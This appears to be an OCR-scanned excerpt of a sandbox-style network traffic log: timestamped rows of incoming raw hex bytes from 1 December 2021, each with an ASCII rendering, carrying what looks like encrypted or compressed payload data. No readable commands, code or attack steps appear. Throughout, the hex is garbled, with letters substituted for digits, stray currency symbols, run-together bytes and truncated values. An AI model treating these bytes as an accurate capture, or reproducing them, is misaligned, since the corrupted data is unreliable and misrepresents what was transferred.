5b ce 52 a2 €8 b8 20 7c 14 47 ed 49 83 f5 49 14 32
Data Ascii: "V:;.(J)L;"[fc%f+t@jv500?bPW Cjdu: X\CABY;ia-[| AFEfP&@ ?kf:'uCF9JXE.{CH(7-89$!J6%yUdbsEp]=oL;MEp%s~[
R |GII2

2021-12-01 08:15:22 UTC 564 IN Data Raw: 8f 72 10 d5 bd c9 96 9d 2e fb 8f 37 31 1c 25 84 58 11 23 a5 e3 35 2a f8 38 7a 92 92 82 0f 7e bf 7b ba 3d ad 3f
bf 46 6¢ 19 69 4a cd a0 fd 4b 65 53 b8 38 49 13 1f 64 81 b6 87 47 7d 2b 8f 49 e4 a2 90 fO db 96 a6 bf 3 f6 73 ff 5b ef 6a f1
2d e4 cb 23 ac 44 d6 18 ad ed 92 c5 a0 Oe 35 ff ca b2 20 d5 dc ad e5 82 a7 b0 45 fc dc 97 ce ¢3 30 59 d8 4b Oe 18 b4 61
ad 6d 70 83 9e d7 cO dc f9 46 b2 e6 1b 71 a3 c0 3f ce b8 1b ae 00 a2 df ac 75 40 63 29 5b 59 52 e5 8b 9b 59 8d 51 4e e
5f 28 ¢3 8d 47 d6 al 6d bc 09 06 be 9f 51 ef 4b 3b a4 b0 b0 49 26 4b 76 70 c8 38 el 2e d7 d2 dO 41 40 96 05 f0 46 1c b0
19 56 b7 9f 31 1b cb 27 a2 d1 51 e6 5f €6 4b 6b 17 e7 8d 4f d8 2f 67 28 96 b8 9e da 67 7c 74 76 aa fc a3 2c 62 52 al 27
cc 30 63 85 03 63 43 d4 db 7c e5 cd 2d fb 70 df
Data Ascii: r.71%X#5*8z~{=?FliJKeS8IdG}+Is[j-#D5 EOYKampFq?u@c)[YRYQN_(GmQK;I&Kvp8.A@FV1'Q_KkO/g(g|t
v,bR'0ccC|-p

2021-12-01 08:15:22 UTC 568 IN Data Raw: 3d a2 48 8a Oe 3f 42 98 5a aa 84 3f 80 c1 1c 2e 60 8a 9d 6b 7e e4 40 27 fc 5¢ 08 Oe cb 68 79 e3 6d 92 07 4f fa
6d Of fe 73 16 e4 Oc 58 7e 65 da 29 05 ad 43 d5 85 25 27 29 17 8b d4 28 f1 fa 7f 56 af 19 2f e7 54 9a b0 7d c8 a6 bc c7 2d
48 a9 fb 59 ec d7 99 38 a8 8e Oe 0f 98 9a 83 d7 bl cc 73 78 6a 7e 5f ee 76 ba fc ba ed f0 fb 80 6¢ 40 ad 19 7c 5d df 40 4f
63 4c bd 28 19 be fb a0 bb 9c 7b €5 21 b9 a9 1b 70 85 3d c9 ¢5 8d 34 d8 cd 66 de 6e 12 c8 4c 7a dc 3b 77 3 34 c5 f0 59
12 60 51 c1 33 17 38 4e bc 80 c9 3f 8f 60 0d 7f b5 dc ed a6 98 04 23 7a 41 b4 1a 3a a9 65 13 bf de f0 46 a3 74 3b b0 5¢
97 1e 37 f5 ef ¢5 89 b1 €9 57 1a 77 f5 57 92 6 13 83 95 4a ae 3b 39 1d 36 96 ac cb 6e 8f 59 1a 26 fa dd 5e ff e8 al Of 3e
f0 9f 33 d2 65 1d 78 5a c4 3f 66 25 ca 11 9d
Data Ascii: =H?BZ?. k~@"\hymOmsX~e)C%")(V/T}-HY8sxj~_vI@||@OcL({!p=4fnLz;w4Y Q38N? #zA:eFt;\7TWwWJ;96
nY&">3exZ?t%
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 572 IN Data Raw: 75 21 cc 86 06 c1 a7 e2 ec 10 b8 79 1a c6 0a 49 bb 21 al c3 82 1b a4 3e fc 46 81 85 06 07 6d 40 58 fd ef 57
4b 38 26 32 ba 76 f7 40 84 62 2a c9 fc 39 77 e2 80 a5 98 b0 d6 d7 ae 75 63 cb 1a b5 58 a4 d2 3c ae a8 2b 09 al b7 d4 1d
7acO f4 31 83 50 bf 48 8f 28 40 6a c4 5d 48 55 Oc 56 16 ab 26 6¢ 86 d2 d3 b8 28 99 2b e0 1f 6a 7b 8b 17 36 4c 9e 17 97
ae 04 2b ba 82 16 ce fO 5b 2a e6 a2 c0 00 Of b4 17 a3 d6 1f a5 d8 27 4d fe d9 c6 f8 11 72 39 b4 18 8c a0 20 55 29 ef 30
90 7a 8e fd 3a 96 24 4f 6f 35 13 eb 00 b3 cf 76 eb b1 65 fO e7 5b a5 3 5f 4c ¢9 9f 1c b6 19 3c ac 69 41 d2 52 fb 40 46 61
4179 5e 6e 12 14 14 f4 c4 37 2b 30 27 14 87 15 3c 4d 8¢ 3c d9 e7 13 e6 d2 ae 8e de c6 dd 79 af 62 4c de a6 fb 6a bb 9c
70 c2 a9 a6 f8 7d 6¢ b5 a4 cc 3f 06 c0 a0 09 ba d0 07
Data Ascii: ulyl!>Fm@XWK8&2v@b*9wucX<+z1PH(@jJHUV&I(+{6L+[*'Mr9 U)0z:$005ve[_L<iAR@FaAy”*n7+0'<M<ybL
ip}?

2021-12-01 08:15:22 UTC 576 IN Data Raw: ¢8 59 b4 7a 17 8d 62 ed 2a 43 15 ed 76 80 f2 43 ce 1e 68 e7 1b a7 07 al 9b 8a c6 e5 34 4f ed db df 8b fb 1f 05
79 fb 3¢ 3f f2 94 99 07 4c 90 35 39 8f a8 b4 b3 eb c4 65 79 43 23 20 ae ec cc 6e cb bb 51 5a 8d 91 6b 77 4e Oe 94 7a e4
1d 40 15 e3 3f 1c d6 6¢ a6 00 62 ea b6 76 20 4d 40 82 bb 52 3b 4a 32 2b 7c 64 b9 a6 87 60 df cO b6 ae 8a 71 48 5 84 9of
2a ad cc 7b d3 4f 60 d6 6f 20 74 4a a7 c2 2a e0 70 32 64 5c¢ ef 3f c8 1b 3a 48 90 dO 4f de 4d 25 8e ¢7 20 fc fb 6b 7e 41 53
a9 4f 03 01 7a 4f b6 29 1d db 30 67 13 68 ea 65 2f f3 54 8¢ 90 2e 61 2f 39 60 27 09 b6 aa 3e 30 86 03 04 b3 03 1c 4f af 6e
Oe a4 d5 b3 92 76 2e 7e d5 71 3b 8d c2 4b ec f0 f2 8f 6e 62 75 db 3e 26 33 84 61 eb a2 5¢ 87 bf 1b 42 b9 0a 26 30 21 63
70 af 02 2e el 10 c6 Oe fe 78 27 4f 01 6¢ 3b 6a
Data Ascii: Yzb*CvCh40y<?L59eyC# nQZkwNz@?lbv M@R;J2+|d qH*{O 0 tJ*p2d\?:HOM% k~ASOzO)0ghe/T.a/9™'>0
Onv.~q;Knbu>&3a\B&0!cp.x'Ol;j

2021-12-01 08:15:22 UTC 580 IN Data Raw: d9 58 dc 7e 9f 15 6b 2f el 3e e4 d0 f8 21 ed 74 f7 7f 6e c5 98 2f ff 38 1b 7b 4d e8 ba 7f fa 51 02 94 al 49 14 8a
5f ed 95 b4 b0 5b af de 56 Of 1b 6d ac 50 c5 52 06 94 36 60 28 ae ac a4 32 5a a7 26 07 95 ff cO d8 2a f2 01 01 5d 92 b4
5b 9f 37 2d a6 fb 5a b5 cf 90 91 43 7c 42 {8 53 8f 8e 45 5 bb 5d 56 42 8e 86 55 €8 d2 07 3¢ 78 4d 8d d0 46 67 06 fd c5 40
61 96 b7 7c 39 c4 af 56 0b 06 3b 1f 33 50 c6 5e e7 df 64 3c a4 b6 11 9e 11 4a a6 db 28 39 3c 18 7e 61 74 da 00 cO 7e e0
fe 93 58 f7 44 db al 86 80 81 Of ba f6 46 b8 5b f6 4a el Of 4f 9d b7 a9 f6 fc fc fb 4d 80 e5 62 28 28 e4 99 9c ce 38 31 1 43
5b a2 cd d8 7e 26 37 a7 db 01 41 23 3e 02 40 b0 47 96 18 24 €3 24 6d 7b ad c6 a8 14 ff 89 4a 47 45 8b 33 ec 20 28 81 b3
d6 ab da c7 be dc c9 b5 74 a4 af 56 cf b2
Data Ascii: X~k/>!tn/8{MQI_[VmPR6'(2Z&*][7-ZC|BSE]VBU<xMFg@a|9V;3P"d<J(9<~at~XDF[JOMb((81C[~&7A#>@G$
$M{JIGE3 (tV

2021-12-01 08:15:22 UTC 582 IN Data Raw: ab 33 3f ca aa af b4 48 Oe 2e 51 a8 78 7b 2a 13 ad 36 54 7f el 91 7f a8 54 4a 53 b6 69 a0 05 1le 45 c4 b4 al
3e b7 f209 b1 b0 1e f6 76 22 08 fb 74 2a 5e c3 e7 €7 86 c8 59 €8 5¢ bc 56 Ob 32 7¢ 9e 80 63 8b 61 €6 a3 b3 8d b9 85 8e
9d 7b 11 2d 33 47 ae fc 79 c2 1c e4 €8 49 ba 48 eb fc 6¢ 02 60 cb 2e 95 ac 04 57 be 41 1d 57 f3 66 4b 17 06 ae 93 57 al
f4 63 fa 64 73 1b 01 17 df f1 2b 23 5f 67 2f aa ee e9 bf 7f 14 39 ec Oa eb b2 1a 43 80 el a7 af cb 7e 9b 56 bb bb 1a c5 49
46 9e c841 81 4e 4f 86 b5 22 42 7d 9b b1 €0 16 el f9 b9 31 1b 79 59 b6 a0 7a 4e 7f 78 ca c9 24 2e 33 66 ad ed 1c ba 8e
93 7a 98 e5 6f b6 71 c4 7 6¢ Ob Ob 73 62 31 91 a2 dc f1 d9 9f b4 a9 49 Oc e2 a5 49 f9 39 29 db dd 16 eb 92 28 Oe 3a 31
06 4c 8b ec a5 Oe 10 fa d0 5e 5¢ b6 1c Ob b2 d2 5a cO
Data Ascii: 3?H.Qx{*6 TTISIE>V"t*\Y\V2|ca{-3GyIHI". WAWfKWcds+#_g/9C~VIFANO"B}1yYzNx$.3fzoqlsb1119)(:1LNZ

2021-12-01 08:15:22 UTC 586 IN Data Raw: 47 45 b3 25 06 7c 9¢ 51 22 12 4a 00 01 1e a8 14 d1 42 34 c1 97 0d 26 d5 c0 06 d1 88 23 50 15 6b b4 bb 3f fe
ca 9b c5 82 d0 f8 b4 46 28 1a 82 53 8a 89 fb 69 b3 5e a2 c9 82 85 76 f2 b5 7e 1f 7e ac bf dc 47 94 5f cc ba 08 ab 0d 19 7
39 2a 51 8c 45 02 a9 16 7c 8a ee eb f6 9a 80 95 9d ac ed b4 73 45 45 43 ad 18 98 Of 78 a5 e8 c0 4c 31 a7 80 e4 34 4f 41
77 d7 c4 62 b0 87 15 da Oc 57 75 fe f1 ae 48 a9 dd 9c 71 2c 9b 48 06 1b 2a e6 62 b0 8e a3 16 07 aa a2 34 06 8e a7 e7 d0
e6 fb 6f d3 91 4f 21 92 fa 12 aa 39 14 60 65 76 40 b1 f3 de 14 7b d2 ce 1e 80 cf 17 c0 c8 b4 b3 d2 fb fa d2 95 a5 8f b7 d2
fd d5 9c d8 40 db ac 43 8e a7 af be 8d 65 b9 fd 97 81 47 5e 42 01 5f 67 57 f1 23 7d 94 d7 ef 6f 72 ac ee a5 4c 04 82 32 13
€569 90 cd 1c 7e 14 be b9 86 dc db b2 22 60 57
Data Ascii: GE%|Q"IB4&#Pk?F(Si*v~~G_9*QE|SEECXL140AwbWuHq,H*b400!9'ev@{@CeG"B_gW#}orL2i~""W

2021-12-01 08:15:22 UTC 590 IN Data Raw: 86 43 3b a5 d5 02 29 4b 04 44 07 72 Oe 42 c9 12 05 9b 65 84 fd 97 59 20 a5 39 95 4e 85 aa dc 6f ea b9 85 la
d2 54 53 df 2b ce 00 1a 1e 01 b9 47 9b 22 de ee fb 32 5e de 51 c2 8d 10 bf e7 34 21 05 04 c1 a6 e5 d3 ef 38 b3 fd 38 6f
3d 00 02 39 81 94 9d 40 10 c3 48 24 6b 29 92 01 55 61 f0 57 f8 7b 3c ea d9 93 53 f5 16 6d 4d ed 41 ca 03 0d 5e 46 €9 2d
03 a7 7b 54 b4 56 81 Oe 1f 64 a6 1d 09 27 3b b2 18 45 1b 3b 9d 2a 24 5a 41 e0 Ob ab 79 0f f9 62 a3 62 4b f4 94 39 3f 01
2453 54 13 38 03 8b d1 1d 1b 3d 80 a2 66 43 bb b8 af a0 75 ¢3 68 80 d7 f4 8a 5b 6b 59 6f a6 2c 4f c2 38 2f 24 52 db el
37 d9 65 8f 8d Oc 6¢ d4 76 39 d7 5a 5a 60 55 8d ad ae 72 46 9c dc ed 2a c8 fa 10 ba d6 b8 1d 6e 57 74 b8 d3 8c 41 8a 1d
b8 bl aa 31 28 22 a0 45 54 c1 b0 73 e2 60 64 f6 54 1f 5¢
Data Ascii: C;)KDrBeY 9NoTS+G"2"Q4!880=9 @H$k)UaW{<SmMMA"F-{TVd';E;*$ZAybbK9?$ST8=fCuh[kY0,08/$R7elv9Z
Z UrF*nWEA1("ETs dT\

2021-12-01 08:15:22 UTC 594 IN Data Raw: ad 32 6d d3 5b 5e Oe 3b 41 Oc 45 8f dd 7d e0 9d Oa d2 c6 ce d9 4c 16 0d d4 5d d0 28 77 bf 95 34 79 39 9e 7c
de 2c a5 80 94 3f 8c ab 97 69 5f 18 32 ec 72 4f 7c 27 12 2e b4 ca d9 16 bf eb ae 6b 03 43 9f 1d 9d 58 04 ae 1e c0 ec ab
8d af ec cf 72 51 63 2d af e4 01 c9 c6 ed e7 83 23 9e 8b ed fe f3 06 9b Oc 15 99 31 d5 a2 24 6b c2 2f 94 66 69 40 95 6b ec
d2 a5 92 1b f2 a5 f6 95 80 89 1a de bd 10 d9 c8 0f 3b b2 5d b1 17 38 d1 c4 93 10 02 6f 3f 40 el 56 ec f0 f5 4b 62 ed 45 a4
7226 c2 b8 e2 1c a5 e5 9e 69 56 8f 3a 12 61 bl 46 eb 7f 87 59 ff f4 85 48 b3 38 0a 85 Oe 3 ac 26 b9 74 40 71 cc 27 c5
7e 8e 2c 73 3b b6 c6 5a 89 51 65 ae b7 ce fb 31 e4 48 90 91 86 9c 68 99 08 d2 bd 41 el dd 66 cl 02 ff 9b 27 26 9b 65 21
e4 1f 99 b6 41 d7 28 dc 1a Ob fb 69 7a 4f ad fb 8d
Data Ascii: 2m[~AEL](w4y9)|,?i_2rO| . KCXrQc-#1$k/fi@k;]80?@VKbEr&iV:aF YH8&t@q'~,s;ZQe1HhAf&e!A(izO

2021-12-01 08:15:22 UTC 599 IN Data Raw: 1e 90 99 d8 dc bb 30 1f 01 b6 47 4e ab fO df a7 0a 87 3b c4 a2 26 48 9b aa €9 1f 33 50 52 e0 ab c1 d6 b9 16 62
47 84 cd 4e d4 9f e7 ca 3f 14 5e a6 cc 31 ed d4 37 82 67 €0 99 c0 82 1a 3d cf c4 af e4 b6 4e 5f b4 dO 3d 02 f5 4c Ob 61 d4
56 f9 42 4a 49 26 6¢ bd a7 d2 ff a0 15 03 1f 86 81 4e 8¢ d1 1le 6a 87 ab bd 68 ee ee 91 1f 1d 08 Of 3f bf a9 27 2e ce 29 Oe
01 e9 32 6a 70 d3 b3 a6 e7 6a 7a a2 6b 11 ab 1b 6e 88 02 58 49 14 52 75 cb 59 89 94 15 b5 3a 24 32 74 3a 1d 5e 9b 51
5¢ 63 20 9f d0 82 ad 6a 15 ac 1e 80 cc b2 2e 4c dc Oc ¢7 9d 2e 44 87 d3 bd 77 12 aa a3 cc fd a7 7c 8¢ ac a6 89 ec e7 da
cc fc 8¢ 5¢ 75 1c 4c 1d de 1c eb 66 9f 02 7a 53 5d b7 9c b3 99 ff {3 47 2d fa ec cd fe 0d 96 a8 45 66 1e 71 57 b9 2 2¢ b5
€6 06 00 06 59 1f 80 2c fa 43 5¢c c1 9f e4 ec 6b
Data Ascii: 0GN;&H3PRbGN?*17g=N_=LaVBJI&INjh?".)2jpjzknXIRuY:$2t:*Q\c j.L.Dw|\uLfzS]G-EfqW,Y,C\k

2021-12-01 08:15:22 UTC 603 IN Data Raw: 73 69 le 22 45 7a 25 5¢ de d0 11 f1 2b 24 9d 6b 14 ¢7 00 a7 14 cc b2 cb 39 al 26 ac 87 7e 45 ¢3 97 59 ff 9c
40 e8 57 a2 e6 30 5c 21 f2 ba 44 2f 1a 33 ad a4 d9 9b 7d b8 37 2e 13 d5 8e 95 ba 3c 1b 27 96 Ob 64 93 66 dc d9 9b 71 87
d0 58 7f 09 ¢7 a0 22 0d 48 af 2b 93 a2 57 b0 df e8 98 bf 25 63 b3 51 9¢c 17 a4 80 86 2b 66 17 ec c8 6f 11 d4 15 c3 4e 67
3c 83 15 el 06 41 6a 30 c4 c9 5¢ 6d 4e 39 31 4c 8e d6 1 7f 5e d0 9f 2e b8 71 7e 9b b2 e0 ff 65 cc ec dc 06 d1 78 61 8d
aa 64 c6 9f 72 ab ¢7 3a 92 2d dc e2 2d 8d 74 fe 9f 19 3b b7 74 37 cd cf ¢3 20 82 d7 4b 8c 5e 8c 7f 50 bb eb 37 6¢ a3 70
7b 16 b5 39 0d el 91 33 09 cc 18 99 e2 13 58 4c 15 Oe 3f dd 97 e4 50 86 05 e6 2a 60 be b9 99 66 3¢ 18 82 40 87 f5 78 48
09 1e 0f 20 7d 70 ee 49 d4 b8 60 25 70 2b a2 c3 8b cc 88
Data Ascii: si"Ez%\+$k9&~EY@WO0\!D/3}7.<'dfgX"H+W%cQ+foNg<AjO\mN91L .q~exadr:--t;t7 KAP7Ip{93XL?P* f<@xH
pI"%p+
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kBytes
Timestamp transferred Direction Data

2021-12-01 08:15:22 UTC 613 IN Data Raw: b3 a5 9b c9 ed 7f 2a e6 14 b7 6e a5 d5 8f 43 76 90 41 e4 c2 2b 41 67 3a e0 c5 aa el d6 f8 Oe 6d ad 2a 9e 70
323528 f3 66 ae 8a f6 8b b8 12 49 4e 64 3d c1 53 92 4b 88 90 91 6e 42 70 df 66 01 0d 1a b5 fa ca 3d al 1c c0 05 25 dd
e31c924ec2 lecbblfc60eacld5cl457108d31c27 24 c152f374cde3 27 825eblalflefab587bcldel 93 cf
c8 eb c6 a8 ec ab Ob 52 b4 5e 29 4b e3 dd af 03 7e 9a 2c 72 34 dc 51 d2 36 de el 2d 27 5c 25 7c fe a0 cb 5¢ b6 70 3f ff ce
¢l 8c 32 22 b0 f0 40 a8 c0 1e 73 26 43 36 1f 2f 61 b6 30 1f e2 29 00 25 fe bc 11 ca 61 9e 60 1b 1a 1a b9 e9 90 68 a8 ef
4a 61 a0 1c 90 b4 16 b8 5b b5 79 d4 cf 16 c0 d9 cd 7f 22 f8 d9 b8 a3 18 02 c3 8f 08 84 15 48 ac 3e 76 b0 50 58 ce 29 cd 2
bb 28 12 bb b7 38 7c d1 1a 46 a8 38 d3 c7 cO ef
Data Ascii: *nCvA+Ag:m*p25(fINd=SKnBpf=%N"Eq'$Rt"*R")K~,r4Q6-'\%|\p?2"@s&C6/a0)%a hJaly"H>VPX)(8|F8

2021-12-01 08:15:22 UTC 619 IN Data Raw: 11 9e c8 a3 f1 04 47 7e 09 Ob 99 90 06 f8 97 d5 3f 9f 28 80 dd 43 b2 a2 da 73 e7 43 b1 62 5a 89 eb 16 39 e4
43 2e 08 41 e3 61 87 Of 31 ce 46 f2 af 1c 5a 6d b9 d9 81 ec b6 3c 01 3c 15 c8 ef 6d a5 18 a8 83 d1 ac 88 d2 f5 1e 46 db c1
6e a8 b2 52 c6 al 2f f6 2f 1d 90 cd 8d e5 49 4b c7 29 22 44 81 f2 18 a8 d7 49 46 93 95 de 15 da d8 Oc 81 87 8b 80 04 5¢c
82 a2 2f e0 df ca 5 5f 7f ff e1 34 6a a3 31 17 73 6e c1 98 84 85 db a3 21 70 24 Oc 24 77 a6 05 16 56 a7 2d 6¢ 1b 94 96 6b
8 11 6f c7 c7 9f d1 bd 4d 1e 9f Of 19 37 9f 5¢c aa d7 19 c9 22 6a 19 ba 9b 85 66 92 94 8f al 38 1c 84 el 0a 07 db 05 e0 Oe
6d 95 62 d5 e8 Ob fb €7 51 60 5e 30 17 03 7a 79 53 f9 c9 db 3b 43 63 a7 64 11 c8 a5 78 48 b0 c1 a0 34 76 b9 b0 73 29 bd
bc 82 94 93 9d 58 8f d2 63 63 89 97 aa 18 97 7a
Data Ascii: G~?(CsCbZ9C.AalFZm<<mFnR//IK)"DIFV_4jlsn!p$$wV-lkoM7\"jf8mbQ 0zyS;CcdxH4vs)Xccz

2021-12-01 08:15:22 UTC 635 IN Data Raw: 9b 1f 1c 52 fd 37 48 6¢ 2a 13 fd 4c 0d b8 3d a8 30 60 a2 b8 d9 89 21 33 ec el 5f 2d f0 a9 eb f4 d0 21 f6 59 95
e4 65 48 db 67 96 c3 c3 21 42 02 af 7c ¢9 54 4b 47 31 38 88 61 f3 97 f2 c3 fe b4 2a 26 e5 71 55 32 db fa 5f 17 e2 88 a2 c0
13 fc 53 80 Oa 84 1d 14 6b Ob 02 e8 68 24 dc 15 27 91 60 2f 6b 1d a0 6d 5c 2a c8 bc dc 11 29 23 e0 69 2c c8 a5 62 f4 97
€9 1a 9d df 17 7b 04 65 de 9e 94 07 20 5c 46 ae ae 09 a7 be da d8 48 96 30 da 35 5b al 9f d5 61 2d 4a c9 8e d7 07 df 31
13 9e 24 c7 ce d4 49 b0 97 02 be 7a 20 93 50 a4 82 ea 59 56 7b cf 3f fc 92 a0 7a c2 17 d8 15 30 7f 7a 83 f4 a3 5f 6¢ 06
Oa a8 a4 84 54 74 8d el 2d c4 b8 38 40 7a c2 7e 80 08 71 e6 cd 5d d7 02 a5 2a 2c 3d ab dc 42 f1 a6 b7 9c 7d ce a7 Oa 67
6d 5c 11 6f 5e 89 fa 8c 1a d2 6a 72 8d 6¢ 82 42 al
Data Ascii: R7HI*L=0"13_-!YeHg!B|TKG18a*&qU2_Skh$" /km\*)#i,b{e \FHO5[a-J1$Iz PYV{?z0z_ITt-8@z~q]*,=B}gm\o"jriB

2021-12-01 08:15:22 UTC 645 IN Data Raw: e2 25 66 2d 3b c2 4d 22 ff d6 4c 46 7f 6a ce 12 3b f7 6¢ cf 1d 48 96 16 a5 7d 49 cd 76 f5 e7 84 a8 €9 35 64 73
89 1c 62 1e Oe cc 8b c8 03 15 6b d5 ef 5¢ 03 2b a4 f9 ac ff da 61 18 79 86 Ob 4b 91 60 a2 49 04 4f 5¢ 28 Ob 8a 85 66 b6
ac 4f 30 9b 61 36 cd el b3 c3 a4 2f d7 46 9a bb 03 Oa f3 7f 82 49 f2 7c 4b e8 f6 63 el 62 1e 45 a3 cc 37 ac 3f ac c9 50 7a
46 36 ce 13 8f 56 5f cc 2d 29 c4 1f 2¢ f3 a4 f2 27 6a f1 f8 1c 49 d6 35 00 6e 4e 02 42 09 f8 1a ef 59 9a 70 99 86 b9 79 df
81 69 39 f6 8e 5b a7 1c b0 43 ¢7 29 07 dd c3 4e d6 a7 3f b9 f5 19 63 bc 09 a5 5a 96 8d 7f 6e 79 ef ee 61 b0 78 26 79 ee f1
8c f5 56 53 aa 0f 22 cd 46 ee 9f 5¢ 49 b2 24 52 02 7c 87 4e 3b d5 41 c0 82 08 fd Oe 2f 44 f8 55 38 56 95 90 e3 a3 db 22
€056 a5 77 25 b4 b2 4a dd 93 a2 08 7f a9 91
Data Ascii: %f-;M"LFj;IH}lv5dsbk\+ayK IO\(fO0a6/FI|[KchE7?PzF6V_-),'jI5SnNBY pyi9[C)N?cZnyax&yVS"FII$R|N;A/DUBV"V
w%J

2021-12-01 08:15:22 UTC 661 IN Data Raw: 5f 9b 62 2e eb 84 a6 f5 4c 70 91 al 70 26 €3 16 71 dd Oc 69 75 bf 31 1e 8e d2 51 0a 9c b4 4b 81 b7 dc fd eb
06 e0 1d 8b 89 74 34 57 96 27 70 43 55 1d 2b d5 51 7a 92 ac d0 c4 20 ca f6 73 97 68 9f d7 b3 b5 91 74 53 8¢ 62 0d af 15
ac Oc 25 5e ef Oe 40 75 7c cb d4 5b 7b d8 5e 84 8c aa 95 42 9e cd 51 72 01 78 25 70 8c e8 3e d2 c3 05 5d 58 4e b7 b2 90
63 ac 46 e3 16 93 7b 4c db b4 8d b8 24 04 67 26 fe ef 67 62 f8 ee 4e 17 bc 29 58 e2 7f 21 7c 2a 4a cd ea 2e 18 8b f8 5¢
70 88 8f 92 99 40 8f 03 7f 58 03 4c 6¢ 9b cb d1 84 2a f4 cf 10 43 e2 59 cd c1 cf 6e 7c 4a 41 94 db 1d f8 3c 92 e6 8d fc 60
08 ce 36 95 c8 ca 69 51 98 9f 98 03 17 17 7b 46 27 1d d1 8d d2 d4 28 1f 7d 50 f3 bf 90 ca fb e4 6d 49 24 53 d7 b2 15 4b
ec 6e 1a 6d 62 9b 2d fc dO 3d 14 bc 20 89 ac 66 ce 40
Data Ascii: _b.Lpp&qiulQKt4W'pCU+Qz shtSh% @u|[{"BQrx%p=>]XNcFH{L$g&gbN)X![*J\p@XLI*CYn|JA< 6iQ{F'(}P
mI$SKnmb-= f@

2021-12-01 08:15:22 UTC 677 IN Data Raw: 4d 87 2e 87 ba c9 6e 0d 83 f3 75 36 26 ad ba 8c ee 26 af 25 3e 0d Ob 96 70 3f 93 el ec 06 Oa 4b 60 87 9b a3
15 c7 df c5 el d4 4f e2 a6 8c e6 5¢ f5 aa cc 31 db 74 10 8a 84 30 b7 72 e4 20 9d b3 ee 59 af da 98 00 e5 c1 70 c1 d4 4e
d6 35 55 4a 8a 1c 15 70 22 ee ac 08 4f 88 70 e4 13 98 44 el b3 ae 79 Oc 9e 6b 02 88 b3 6e ab fO c¢5 4b 97 c2 80 94 82 50
de 77 c6 61 5a dO Of ab 0d b2 84 3e 6e a4 4d 26 b2 35 8b 95 a3 6e b8 49 35 11 1b 39 d1 ff bc e7 56 bb a7 f3 44 88 7c 44
18 3d e5 62 23 8c d6 5a c6 be ce 07 51 65 02 79 bc 88 27 ff 48 12 3e 8f 97 4e 8f 14 58 26 ¢9 65 1f 50 34 b7 3c 78 e4 0d
6e 58 cc d3 9a b5 6b dc 25 a0 ae 67 73 1b cd 28 €8 98 59 b9 b7 40 13 7a 8a 6b 6a fd b7 d3 21 0d 44 7b f9 43 8d bb Oe
12 0a 63 10 7a 0d 94 dd 59 ec e4 74 9b d6 2c 12 c2 5 f0 a7
Data Ascii: M.nu6&&%>p?K O\1t0r YpN5UJp"OpDyknKPwaZ>nM&5nI59VD|D=b#ZQey'H>NX&eP4<xnXk%gs(Y
@zkj!D{CczYt,

2021-12-01 08:15:22 UTC 693 IN Data Raw: b8 1f 41 04 19 f6 c5 f4 f4 5¢ Ob 20 34 7b 2e 44 5b 6e e4 0d b6 fc 73 d4 61 7f ee 5d dd 25 80 Of dd 4a 37 2c d2
3 98 8a 0a 34 f2 1e d8 d9 8b d7 f8 60 8d e7 70 e3 29 Ob 38 dO ae e3 a6 Oe 4f 4e 6f 3d 55 dc b3 44 dd 6f 4e 91 fe 97 87 76
e2 d2 02 29 27 63 09 92 20 38 20 82 26 48 99 e6 2f f7 04 76 b6 3d dd 43 98 9b 11 fe 51 ee 50 48 fc d2 fc 29 bf 0d cc 6¢ 1f
80 e3 ee 63 61 15 fe ae 17 b4 c5 c3 6b 6a 84 ed 46 20 f6 bc 69 be 0d ea fe al 41 09 el b0 eb Oa b2 64 c8 ab be 0a c4 a2
98 ec cc b7 dc 35 05 57 56 76 9f 7f 83 b2 75 19 bc b9 80 19 76 ce cf f9 55 80 73 9e bl 23 ¢9 02 ¢4 91 ec 45 fb 9e 63 al
e7 3 8d d2 09 13 e5 30 b2 91 02 6d 08 ba 0d 07 9a 83 06 06 68 74 9d b0 11 d3 7b 49 f6 07 71 7f bd 8f 28 cc 84 68 75 ae
99 39 0d 35 5a 83 78 13 60 a7 b8 3f 88 4b b9 48
Data Ascii: A\ 4{.D[hsa]%J7,4 p)8ONo=UDoNv)'c 8 &H/v=CQPH)lcakjF iAd5WVvuvUs#EcOmht{lq(hu952x ?KH

2021-12-01 08:15:22 UTC 709 IN Data Raw: 1d c3 a8 58 9e 74 74 25 11 7 4b d9 be 30 87 b3 e4 1b d2 89 3f 19 78 21 35 ce b5 ac ef b6 a5 92 04 9b 09 31
3812 38 ca e0 24 99 60 15 3f 82 18 Ob 5f 0a d5 ca 52 d9 33 6e 94 8d 1f 31 2b 3d 07 3b 10 15 7 ed 3c f7 92 d3 77 3b bb
a6 65 ea a5 74 d9 0d f9 ab 2d fa f4 7e 22 33 50 ef ab e3 ec 58 06 ce f9 6¢ 02 Ob 79 7 45 58 7c el ec ac 4b 21 2b 2f 71 28
5c 2f 34 a2 d3 26 72 9c 6b 27 7d 24 6f 7a e0 61 6¢ cc 43 90 00 3f cf f0 79 64 97 98 f9 00 cf 92 al 25 56 06 c5 a6 12 c4 1d
76 0d 66 43 aa f3 9d db 7c f8 8e ea 08 46 f2 d1 7d 27 8d 56 09 d4 9e 64 ce a4 16 6a 13 e6 d2 1e 92 d5 Oe 88 be 59 06 9f
€9 14 07 63 38 16 3b b3 4b 84 3e 74 db cb e7 51 aa 24 b1 5e 19 6d ca 00 e0 d8 d6 7f 77 10 6¢ 7e 4b 08 47 9b d7 9f da 89
16 a0 00 c8 08 c1 d2 df 83 61 2c 19 67 €6 83 04 el
Data Ascii: Xtt%K0?x!5188%'?_R3n1+=;<w;et-~"3PXIyEX|K!+/q(\V4&rk'}$o0zalC?yd%VVIC|F}'VdjYc8;K>tQ$ " mwI~KGa,g

2021-12-01 08:15:22 UTC 725 IN Data Raw: 38 52 01 65 6¢ cO d8 af 1a cc 3e ea 87 d1 31 16 7f be a3 12 Oe db a3 f0 13 ac be fb 98 09 ed el 4b 8b 99 2a d5
29 7e 62 00 1e 38 90 a2 af 4b c9 e7 cbh ac b4 a6 7a 87 72 72 bb 5d bc 89 b2 67 ea 50 3d 5b 92 85 45 14 43 eb 39 2c d7
04 69 7b ed 65 57 20 dc 19 5a 62 db b9 86 df b9 5a a8 23 fe 4c 46 86 6f 56 6a Oe 10 dd 52 10 11 7e 70 7d 6b 16 00 fa 2a
0533 d6 03 b8 54 b9 63 f8 d9 65 3f 9d 12 ab €3 9b 2a 44 5e 20 52 a6 3 dd b6 3a d1 1d 9f Ob de 05 1a 69 7c 97 5¢ 14 96
